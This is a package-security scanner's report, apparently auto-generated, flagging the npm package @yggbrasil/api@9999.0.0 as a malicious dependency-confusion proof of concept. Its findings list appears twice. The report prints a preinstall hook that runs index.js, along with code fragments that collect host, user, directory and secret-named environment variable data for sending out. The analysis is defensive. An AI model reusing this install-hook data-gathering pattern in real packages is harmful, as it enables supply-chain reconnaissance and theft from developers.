@yggbrasil/api@9999.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@yggbrasil/api@9999.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node index.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook automatically runs the package entrypoint during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node index.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1// Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> index.js L1: // Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1// Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

6const data = { type: 'dependency_confusion_poc', target: 'ewally', package: '@yggdrasil/api', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), user: os.userInfo().username, cwd: process.cwd(), node_version: process.version, // Lista apenas nomes de env vars sensíveis (não valores) sensitive_env_keys: Object.keys(process.env).filter(k => /aws|token|key|secret|password|credential/i.test(k) ) };

High

Ai Review Evidence

The entrypoint gathers host, user, working-directory, runtime, and sensitive environment-variable-name data.

index.jsView on unpkg · L6

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node index.js || true" }

High

Suspicious Lifecycle Evidence

A preinstall hook automatically runs the package entrypoint during installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node index.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1// Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> index.js L1: // Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1// Dependency Confusion PoC - Callback only (não destrutivo) L2: const https = require('https'); L3: const os = require('os'); L4: const dns = require('dns'); L5: ... L10: timestamp: new Date().toISOString(), L11: hostname: os.hostname(), L12: platform: os.platform(), ... L16: // Lista apenas nomes de env vars sensíveis (não valores) L17: sensitive_env_keys: Object.keys(process.env).filter(k => L18: /aws|token|key|secret|password|credential/i.test(k) ... L30: try {

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

6const data = { type: 'dependency_confusion_poc', target: 'ewally', package: '@yggdrasil/api', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), user: os.userInfo().username, cwd: process.cwd(), node_version: process.version, // Lista apenas nomes de env vars sensíveis (não valores) sensitive_env_keys: Object.keys(process.env).filter(k => /aws|token|key|secret|password|credential/i.test(k) ) };

High

Ai Review Evidence

The entrypoint gathers host, user, working-directory, runtime, and sensitive environment-variable-name data.

index.jsView on unpkg · L6